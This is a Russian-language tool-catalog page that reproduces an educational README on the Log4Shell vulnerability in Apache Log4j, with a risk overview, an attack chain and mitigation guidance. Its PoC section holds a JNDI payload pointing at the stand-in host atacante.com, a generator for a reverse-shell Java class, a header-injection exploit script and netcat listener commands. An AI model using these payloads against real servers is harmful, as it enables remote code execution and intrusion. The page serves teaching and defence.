Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228 — Образовательный анализ CVE-2021-44228 (Log4Shell) с PoC-скриптами, разбором вектора атаки и руководством по смягчению для понимания и тестирования критической RCE-уязвимости в Apache Log4j. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2021-44228
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Образовательный анализ CVE-2021-44228 (Log4Shell) с PoC-скриптами, разбором вектора атаки и руководством по смягчению для понимания и тестирования критической RCE-уязвимости в Apache Log4j.

Репозиторий
124 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🛡️ CVE-2021-44228: Анализ Log4Shell — Уязвимость, которая перевернула безопасность Java

Критическое воздействие (CVSS 10.0) | Обнаружена в 2021 году, эта ошибка в Apache Log4j позволяет удаленное выполнение кода (RCE) и затрагивает миллионы систем по всему миру. Даже сегодня это ключевое напоминание для кибербезопасности!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Что такое Log4Shell?

CVE-2021-44228, известная как Log4Shell, — это критическая уязвимость удаленного выполнения кода (RCE) в библиотеке логирования Apache Log4j 2. Эта ошибка позволяет злоумышленникам выполнять произвольный код на уязвимых серверах, просто отправляя специально сформированную текстовую строку, которую регистрирует приложение.

  • Почему это так опасно? Log4j повсеместно используется в Java-приложениях, включая облачные сервисы, веб-приложения и корпоративное ПО. Для его эксплуатации не требуется аутентификация, и он легко распространяется через пользовательский ввод, такой как HTTP-заголовки, формы или чаты.
  • Обнаружена: Чэнь Чжаоцзюнь из Alibaba Cloud Security (ноябрь 2021 г.). Публично раскрыта 9 декабря 2021 г., вызвав глобальные оповещения CISA, NCSC и других.
  • Глобальное влияние: Затронуты сотни миллионов устройств. Пострадали такие компании, как Minecraft, Twitter и Cisco. Наблюдались массовые атаки: >100 в минуту на пике.
  • Log4Shell — не единственная; она породила CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) и CVE-2021-4104 (RCE в Log4j 1.2).


    💀 Вектор атаки и принцип работы

    Суть проблемы — небезопасная обработка JNDI (Java Naming and Directory Interface) в Log4j, который выполняет удаленные lookups без санитизации.

    Пример базового пейлоуда

    root@kitploit:~
    ${jndi:ldap://atacante.com:1389/Exploit}
    

    Как это работает:

    1. Злоумышленник внедряет пейлоуд в регистрируемое сообщение (например, User-Agent в HTTP).
    2. Log4j обнаруживает ${...} и активирует lookup JNDI.
    3. Уязвимый сервер подключается к серверу LDAP/RMI/DNS злоумышленника.
    4. Загружается и выполняется вредоносный Java-класс (например, reverse shell).

    Эксплуатируемые протоколы: LDAP, RMI, DNS, IIOP и др. Это позволяет реализовывать такие угрозы, как:

    • Coinmining: Хищение ресурсов для майнинга криптовалют.
    • Ransomware: Шифрование данных (например, Khonsari, Night Sky).
    • DoS/DDoS: Перегрузка систем (например, через ботнет Mirai).
    • Горизонтальное перемещение: Инструменты вроде Cobalt Strike для повышения привилегий.

    Цепочка заражения (Kill Chain):

    1. Рекогносцировка: Сканирование портов и заголовков для обнаружения Log4j.
    2. Внедрение: Отправка пейлоуда в несанитизированные поля ввода.
    3. Разрешение: JNDI связывается с сервером атакующего.
    4. Выполнение: Вредоносный код загружается и запускается (например, загрузка вредоносного ПО, такого как Kinsing).
    5. Сохранение: Экфильтрация учетных данных (/etc/passwd, /etc/shadow) или установка бэкдоров.

    📈 Технические подробности

    ХарактеристикаДетали
    Оценка CVSS v3.110.0 (КРИТИЧЕСКИЙ) 🔥 — Максимально возможная серьезность.
    Затронутые версииLog4j 2.0-beta9 — 2.14.1 (включая производные до 2.16.0 для под-CVE).
    Корневая причинаПодстановка сообщений JNDI без проверки; включенные удаленные lookups.
    ВекторыУдаленный, без аутентификации; влияет на Java 8+ в веб/облачных приложениях.
    Затронутые продуктыApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter и др.
    ЭксплуатацияЛегкая: публичные PoC на GitHub; не требует привилегий.

    Статистика воздействия:

    • 90% облачных сред изначально подверглись риску.

    • Использована государственными группировками (Китай, Северная Корея) и киберпреступниками.
    • Первоначальный патч: Log4j 2.15.0 (декабрь 2021 г.), но неполный; безопасная версия: 2.17.1+.

    🚀 Образовательное подтверждение концепции (PoC)

    ⚠️ Предупреждение: Этот материал предназначен исключительно для образовательных целей и авторизованного тестирования. Не используйте его в системах без явного разрешения. Эксплуатация уязвимостей без разрешения незаконна (например, нарушает такие законы, как CFAA в США). Всегда проводите этичный пентeст.

    На основе публичных репозиториев, таких как kozmer/log4j-shell-poc, здесь приведен упрощенный обзор PoC в контролируемых средах (например, локальный Docker/VM).

    Общие шаги для симуляции (уязвимая среда)

    1. Клонируйте репозиторий: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
    2. Соберите Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
    3. Установите уязвимую Java (например, JDK 8u202): Скачайте с надежных зеркал, распакуйте и настройте путь (например, /usr/bin/jdk1.8.0_202).
    4. Измените скрипт PoC (poc.py): Настройте пути Java и IP. Пример исправленного фрагмента (упрощенная версия):
    root@kitploit:~
    #!/usr/bin/env python3
    import argparse
    from colorama import Fore, init
    import subprocess
    import threading
    from pathlib import Path
    import os
    from http.server import HTTPServer, SimpleHTTPRequestHandler
    
    CUR_FOLDER = Path(__file__).parent.resolve()
    
    def generate_payload(userip: str, lport: int) -> None:
        program = f"""
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    public class Exploit {{
        public Exploit() throws Exception {{
            String host="{userip}";
            int port={lport};
            String cmd="/bin/sh";
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            // ... (упрощенный код reverse shell)
        }}
    }}
    """
        p = CUR_FOLDER / "Exploit.java"
        try:
            p.write_text(program)
            subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
            print(Fore.GREEN + '[+] Класс Exploit успешно сгенерирован')
        except Exception as e:
            print(Fore.RED + f'[-] Ошибка: {e}')
    
    # ... (функции для LDAP-сервера и веб-сервера, аналогичные оригинальным)
    
    def main():
        init(autoreset=True)
        print(Fore.BLUE + "[!] Образовательная PoC для CVE-2021-44228 — Используйте только в лабораторных условиях!")
        # Аргументы: --userip localhost --webport 8000 --lport 9001
        # Запускает LDAP, веб-сервер и генерирует пейлоуд
    
    if __name__ == "__main__":
        main()
    
    1. Запустите: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
    2. Прослушиватель (Netcat): nc -lvnp 9001 — Мониторинг reverse shell.
    3. Внедрите пейлоуд: В уязвимом приложении (http://localhost:8080) используйте ${jndi:ldap://127.0.0.1:1389/a} в поле входа/поиска.
    4. Проверьте: Подключение в Netcat; логи в терминале показывают разрешение JNDI.

    Простой PoC на Python (слушатель + эксплойт): Для быстрых демонстраций используйте эту пару скриптов (сначала запустите слушатель).

    listener.py:

    root@kitploit:~
    import socket
    import threading
    
    def start_listener(ip, port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((ip, port))
        server.listen(1)
        print(f"[*] Слушатель на {ip}:{port}...")
        conn, addr = server.accept()
        print(f"[+] Подключение от {addr}")
        data = conn.recv(4096)
        print(data.decode('utf-8', errors='ignore'))
        conn.close()
    
    if __name__ == "__main__":
        threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
        input("Нажмите Enter для остановки...\n")  # Поддерживает работу
    

    exploit.py:

    root@kitploit:~
    import requests
    import argparse
    
    def send_exploit(target, lhost, lport):
        payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
        headers = {'User-Agent': payload}
        try:
            r = requests.get(target, headers=headers, timeout=10)
            print(f"[+] Отправлено на {target} | Статус: {r.status_code}")
        except Exception as e:
            print(f"[!] Ошибка: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target", required=True)
        parser.add_argument("-l", "--lhost", required=True)
        parser.add_argument("-p", "--lport", type=int, default=1389)
        args = parser.parse_args()
        send_exploit(args.target, args.lhost, args.lport)
    

    Запуск: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

    Примечания: Требуется Marshalsec для эмуляции LDAP. Тестируйте только в изолированных лабораториях.


    🛡️ Смягчение и патчи

    Действуйте сейчас! Log4Shell можно предотвратить с помощью обновлений и настроек.

    1. Рекомендуемое обновление (высокий приоритет)

    • Перейдите на Log4j 2.17.1 или выше (отключает JNDI по умолчанию).
    • Скачать: Apache Log4j Releases.
    • Проверьте косвенные зависимости с помощью инструментов, таких как mvn dependency:tree или Snyk.

    2. Быстрые исправления (временные)

    • Флаг JVM: -Dlog4j2.formatMsgNoLookups=true
    • Окружение: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    • Конфигурация Log4j: В log4j2.xml добавьте <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

    3. Ручное удаление

    root@kitploit:~
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    
    • Удаляет классы JNDI из JAR-файлов.

    4. Дополнительные меры

    • WAF/IPS: Блокируйте пейлоуды ${jndi:*} (например, правила в ModSecurity или Cloudflare).
    • Сканирование: Используйте инструменты, такие как Nuclei или Nessus, для обнаружения уязвимых версий.
    • Виртуальное патчинг: Реализуйте в межсетевых экранах для блокировки удаленных lookups.
    • Мониторинг: Обновите антивирусы/EDR (например, правила IPS Seqrite для Log4Shell).

    Для производных CVE:

    • CVE-2021-45046: Обновите до 2.16.0+ и отключите message lookups.
    • CVE-2021-45105: Избегайте рекурсивных lookups в нестандартных конфигурациях.
    • CVE-2021-4104: Не используйте JMSAppender с JNDI в Log4j 1.2.

    📚 Дополнительные ресурсы

    • Официальные:
      • NVD - CVE-2021-44228
      • Apache Log4j Security Bulletin
    • Руководства:
      • Microsoft Defender: Обработка Log4Shell
      • Tenable: Часто задаваемые вопросы о Log4Shell
      • Trend Micro: Воздействие и смягчение
    • Образовательные PoC: GitHub - Log4j Shell PoC (с юридическим отказом).
    • Продвинутый анализ: Seqrite: Неизбирательная эксплуатация

    Этот README.md предназначен для образовательных целей и повышения осведомленности в области кибербезопасности. Он не способствует незаконным действиям. Если вы профессионал в области безопасности, оцените свою среду с помощью таких инструментов, как OWASP Dependency-Check. Поддерживайте свои системы в актуальном состоянии для более безопасного мира! 🔒

    Последнее обновление: на основе данных до 2023 года. Проверяйте официальные источники на предмет новостей.

    Скачать инструмент